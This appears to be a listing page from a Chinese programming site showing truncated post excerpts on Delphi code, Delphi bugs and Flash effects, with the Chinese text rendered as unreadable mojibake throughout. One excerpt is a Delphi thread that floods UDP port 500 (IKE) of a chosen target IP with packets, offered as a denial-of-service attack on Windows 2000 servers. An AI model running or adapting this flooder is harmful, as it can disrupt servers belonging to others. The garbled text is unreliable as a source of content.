type TForm1 = class(TForm) Button1: TButton; ADOConnection1: TADOConnection; ADOQuery1: TADOQuery; ListView1: TListView; Label1: TLabel; Button2: TButton; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } procedure Page_Count; public { Public declarations } end;var Form1: TForm1; page: integer;implementation
{$R *.df..
- [ ] ×ÓÀ໯´°¿Ú¸¨ÖúÀàNativeWindow
µã»÷£º296¡¡·¢²¼ÈÕÆÚ£º08/29
À໯´°¿ÚÔڸ߼¶¿ª·¢ÖеÄÖØÒªÀûÆ÷¡£ÊÜc#ÖÐNativeWindowµÄÆô·¢£¬ÊµÏÖÁËÏÂÃæÕâÑùÒ»¸ö¼òµ¥µÄÀ࣬À´°ïÖú¸üÈÝÒ׵ضԴ°¿ÚʵÏÖ×ÓÀ໯¡£
unit NativeWindow;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
Type TzwNativeWindow = class private m_OldWinProc:FARPROC ; m_NewWinProc:FARPROC ; m_Handle:THandle; protected procedure WndProc(var Message: TMessage); virtual; public constructor Create; destructor Destroy;override; procedure AssignHandle(WndHandle:THandle); procedure ReleaseHandle; property Handle:THandle read m_Handle; end;
implementation
{ TzwNativeWindow }
procedure TzwNativeWindow.AssignHandle(WndHandle: THandle);begin if (m_Handle<>WndHandle) then begin &..
- [ ] ÔÚDELPHIÖиü¼òµ¥µÄ´æÈ¡JPEGÎļþµ½SQLSERVERÊý¾Ý¿â
µã»÷£º368¡¡·¢²¼ÈÕÆÚ£º08/24
ÔÚDELPHIÖиü¼òµ¥µÄ´æÈ¡JPEGÎļþµ½SQLSERVERÊý¾Ý¿â
Íõ´ó´¨(WDCZZH)
×î½üÔÚCSDNÉÏ¿´µ½Á½Æª¹ØÓÚ¡¶DELPHIÖдæÈ¡JPEGÎļþµ½SQLSERVER¡·ÖеÄÎÄÕÂÖ®ºó,¾õµÃÆäÖн²ÊöµÄ·½·¨ËäÈ»ÓпÉȡ֮´¦,µ«ÆÄ·Ñʱ,ÎÒÕâÀïÓиü¼òµ¥µÄ²Ù×÷·½·¨£¬¶øÇÒ°²È«¿É¿¿,²»¸ÒÒ»È˶ÀÏí,Ô¸·¢²¼³öÀ´Óë´ó¼Ò¹²Ïí¡£ÔÚDelphi7.0+Win2000+SqlServer 2000ÖвâÊÔͨ¹ý£¬ÔËÐÐÁ¼ºÃ£¬ÏÖ½«Ë¼Â·¡¢Ô´Â빫¿ªÈçÏ£º
½â¾ö˼·£º
1¡¢ ¹Ø¼üÔÚÓÚ½«´ò¿ªµÄJPEGÎļþ¶¯Ì¬×ª»»ÎªTbitmap¶ÔÏó²¢ÏÔʾÔÚTimage¶ÔÏóÖУ»
2¡¢ ½«ÏÔʾµÄͼƬÌá½»µ½Êý¾Ý¿âÖС£
±¾ÀýÖÐÔÚSQLSERVER2000Öн¨Á¢ÁËÒ»¸öÊÔÀý±í£ºexam(xm char(10),photo image)£»
³ÌÐòÔ´´úÂ룺
unit SavePic;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtDlgs, ExtCtrls, DBCtrls, Grids, DBGrids, DB, ADODB, Buttons,
StdCtrls,Jpeg;
type
TForm1 = class(TForm)
SpeedButton1: TSpeedButton;
ADOConnection1: TADOConnection;
Table1: TADOTable;
DataSource1: ..
- [ ] udp 500 D.O.S¹¥»÷
µã»÷£º293¡¡·¢²¼ÈÕÆÚ£º08/17
ǰЩÈÕ×Ó,¿´¼ûÓÐÎÄÕÂ˵win2000·þÎñÆ÷µÄ500¶Ë¿Ú¶Ôflood¹¥»÷·ÀÓù²»ÊǺܺÃ,ÎÒ²âÊÔÁËÒ»ÏÂ,·¢ÏÖºÜÓÐЧ¹û,¶Ôwin2000·þÎñÆ÷µÄudp500·¢ËÍ´óÁ¿°üµÄʱºò,win2000·þÎñÆ÷µÄcpuÂÊÒ»ÏÂ×Ó´ïµ½ÁË100%,¶øÇÒ·´Ó¦Á¢¿Ì³Ù¶ÛÏÂÀ´.
³ÌÐòÈçÏÂ:
Ï̳߳ÌÐò://Ï̵߳ÄÖ´ÐдúÂë,´´½¨Ïß³ÌÇëÓò˵¥newÒ»¸öTheadObject
uses winsock;
procedure udpdos.Execute;varwsa:TWSAData;s: TSocket;sockin: TSockAddrIn;buf:array[0..1023] of byte;i: integer;DIP:string;begin { Place thread code here }//win2000ÏÂÀûÓÃike(udp 500)µÄDOS¹¥»÷//by Ñî˳ FreeOnTerminate := true;
//destIPÊÇÖ÷FormÀïÃæÉÏ,¾ÍÊÇÒª¹¥»÷µÄ¶ÔÏó,ÔÚÖ÷FormÀïÃæÉêÃ÷Ò»¸öÕâÑùµÄ±äÁ¿¾Í¿ÉÒÔÁË DIP := DestIP;
//Ìî³äbuf for i := 0 to 1023 do buf[i] := 97;
//³õʼ»¯socket2 WSAStartup($101,wsa);
//´´½¨udp socket s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); sockin.sin_family := AF_INET; sockin.sin_port := htons(IKE); sockin.sin_addr.S_addr := inet_addr(pchar(DIP)); while true do begin if self.Terminated ..
- [ ] DelphiµÄBUGSÖ®ÎÒ¼û
µã»÷£º200¡¡·¢²¼ÈÕÆÚ£º08/17
ÏÂÃæÊDZ¾ÈËÔÚDelphiʵ¼ÊµÄ¿ª·¢Öз¢ÏÖµÄÎÊÌ⣬ϣÍûÄÜͬ´ó¼ÒÒ»Æð½»Á÷¡£
1¡¢TDateTimePickerµÄ´íÎó
TDateTimePicker¿Ø¼þÔÚ¶ÁдÈÕÆÚʱÓкܶà´íÎó£¬Ö÷ÒªÊÇÈÕÆÚ²»Äܼ°Ê±Ë¢Ð¡£
Ëæ±ã¾ÙÒ»¸öÀý×Ó£º
н¨Ò»¸öForm£¬È»ºóÌí¼ÓÒ»¸öTDateTimePicker¿Ø¼þ£¬Ëæ±ã·ÅÒ»¸ö¸¡¶¯ÐͰ´Å¥ÀýÈçTSpeedButton»òÕßTToolButtonµÈ£¬ÏàÐÅÕâÖÖ·½Ê½ÓõĻáºÜ¶à£¡
ÔÚ¸¡¶¯°´Å¥µÄClickʼþÖмÓÈëºÜ¼òµ¥µÄ´úÂ룺
ShowMessage(FormatDateTime('yyyy-mm-dd',DateTimePicker1.Date));
´ËʱÄãͨ¹ýÖ±½ÓÐÞ¸ÄTDateTimePickerµÄʱ¼äÖµÀ´ÐÞ¸ÄÈÕÆÚ£¬È»ºó¼¤»î¸¡¶¯°´Å¥µÄClickʼþ£¬Äã»á·¢ÏÖÔÚTDateTimePickerÖз´Ó³³öÀ´µÄÈÕÆÚ²¢²»ÊÇTDateTimePickerÕæÊµµÄÈÕÆÚ£¡¶àÊÔ¼¸´ÎÄã»á·¢ÏÖÎÊÌâ¸üÑÏÖØ£¡
ÏàÐÅBorland¹«Ë¾µÄÈËÓ¦¸Ã²â³öÁË´Ë´íÎ󣬵«ÊÇûÓÐÐÞ¸´£¡
ÏÖÔÚËÆºõÃ÷°×ΪʲôûÓÐÈÕÆÚÐ͵ÄDB¿Ø¼þ£¡
2¡¢TDBGridµÄ´íÎó
Èç¹ûÄãÊÇͨ¹ýTDBGridÖ±½Ó¶ÁдÊý¾Ý£¬Äã»á·¢ÏÖÎÊÌâºÜÖÂÃü£¡
Ëæ±ã¾ÙÒ»¸öÀý×Ó£º
н¨Ò»¸öForm£¬È»ºóÌí¼ÓÒ»¸öTDBGrid£¬Ìí¼ÓÏàÓ¦µÄÊý¾Ý¹ØÁªÈ»ºó¼¤»îÊý¾ÝÔ´£¬Ëæ±ã·ÅÒ»¸ö¸¡¶¯ÐͰ´Å¥£¬ÏàÐÅÕâÖÖ·½Ê½ÓõÄÒ²±È½Ï¶à£¡
ÔÚ¸¡¶¯°´Å¥µÄClickʼþÖмÓÈëºÜ¼òµ¥µÄ´úÂ룺
ShowMessage(ADOQuery1.Fields.Fields[0].AsSt..
- [ ] ÐýתµÄ»¨¶ä
µã»÷£º901¡¡·¢²¼ÈÕÆÚ£º08/16
[È«ÆÁÐÀÉÍ]
- [ ] ¿ØÖÆÓ°Æ¬¼ô¼¡¾»ù´¡¡¿
µã»÷£º560¡¡·¢²¼ÈÕÆÚ£º08/16
Ò»¡¢¿ØÖÆÓ°Æ¬µÄ²¥·ÅËÙ¶È [È«ÆÁÐÀÉÍ]
- [ ] ÕÚÕÖµÄÃîÓÃ
µã»÷£º431¡¡·¢²¼ÈÕÆÚ£º08/16
ÏàÐÅÓÐFLASH»ù´¡µÄÉÁÓÑÒ»¶¨×ö¹ýÕÚÕÖ£¬ËüÊÇÒ»¸öÎÒÃÇËÒ²Àë²»¿ªµÄ¼¼Êõ¡£ÔÚÉÁ°É¼û¹ýÒ»¸öÕâÖÖЧ¹û£¬±ã¸ú×ÅѧÁËÒ»¸ö¡£Õ¾³¤ÌṩµÄASÌØÐ§£¨Ð¡ÕýÕý£©ÖÐÒ²ÓÐÒ»¸öÕâÑùµÄЧ¹û¡£[È«ÆÁÐÀÉÍ]ÏÈ¿´Ò»ÏÂÕûÌåµÄ½á¹¹£¬Èçͼ1£ºÔ²ÐÎÄ£ºýÉ«¿éµÄ½¥±äÉ«£¬Èçͼ2£º ×ó²àµÄÁ½¸öΪ°×É«£¬Í¸Ã÷¶ÈΪ0£¬ÓÒ²àµÄΪ°×É«£¬Í¸Ã÷¶ÈΪ85¡£Ô²ÐÎÕÚÕÖ£¨MCʵÀýÃûΪaa£©ÓëÄ£ºýÉ«¿é£¨MCʵÀýÃûΪbb£©ÓõÄÊÇͬһ¸ö·ûºÅ£¬²»¹ýÄãÒªÃ÷°×£ºÕÚÕÖÓý¥±äÉ«Ìî³äÊÇûÈκÎ×÷Óõġ£ÎÒÖ»ÊÇÏëÈÃËüÁ©Ò»°ã´ó¡£ËùÒÔ͵Á˸öÀÁ¡£ÏÈ˵һÏÂÕâ¸öʵÀýµÄ¼¼ÇÉ£¬±³¾°Í¼²ãµ¼ÈëÁËÒ»·ù»£¬×ªÎªÁË·ûºÅ£¬°ÑËüµÄÁÁ¶Èµ÷Ϊ-85¡£ÕâÑùÓëÄ£ºýÉ«¿éµÄ±ßÔµÈÚºÏÔÚÒ»Æð£¬²úÉúÁËÄ£ºýµÄ¸Ð¾õ¡£×îºó£¬À´¿´Ò»Ï¿ØÖÆÒƶ¯µÄ´úÂ룺_root.onEnterFrame = function() { Mouse.hide(); startDrag("_root.aa", true); xx = _roo..
- [ ] ³¬¿áÍøÒ³±äÐÎFlash°´Å¥
µã»÷£º2678¡¡·¢²¼ÈÕÆÚ£º08/16
±¾½Ì³ÌÊǽ²ÊöÈçºÎʹÓÃdigital fusionÖÆ×÷ÍøÒ³flash³¬¿á±äÐΰ´Å¥¡£ ¾µä·¶ÀýÓУºµÂ¹úµÄ http://www.derbauer.de/ ÍøÕ¾µÚÒ»°æÊ¹ÓùýµÄ¡£[È«ÆÁÐÀÉÍ]
/Upload/2004_Pack/post-18-1078719130.swf·¶ÀýЧ¹ûÑÝʾ£º[È«ÆÁÐÀÉÍ]
/Upload/2004_Pack/post-18-1078719477.swfµã»÷ÏÂÔØ¸Ã½Ì³ÌÈ«²¿ÎļþËØ²Ä£ºµã»÷ÏÂÔØ367kb>>>
- ¹²ÓÐ29ÌõÐÅÏ¢¡¡1 - 30¡¡1/1Ò³¡¡30¸ö/Ò³¡¡¡¡ÉÏÒ»Ò³¡¡ÏÂÒ»Ò³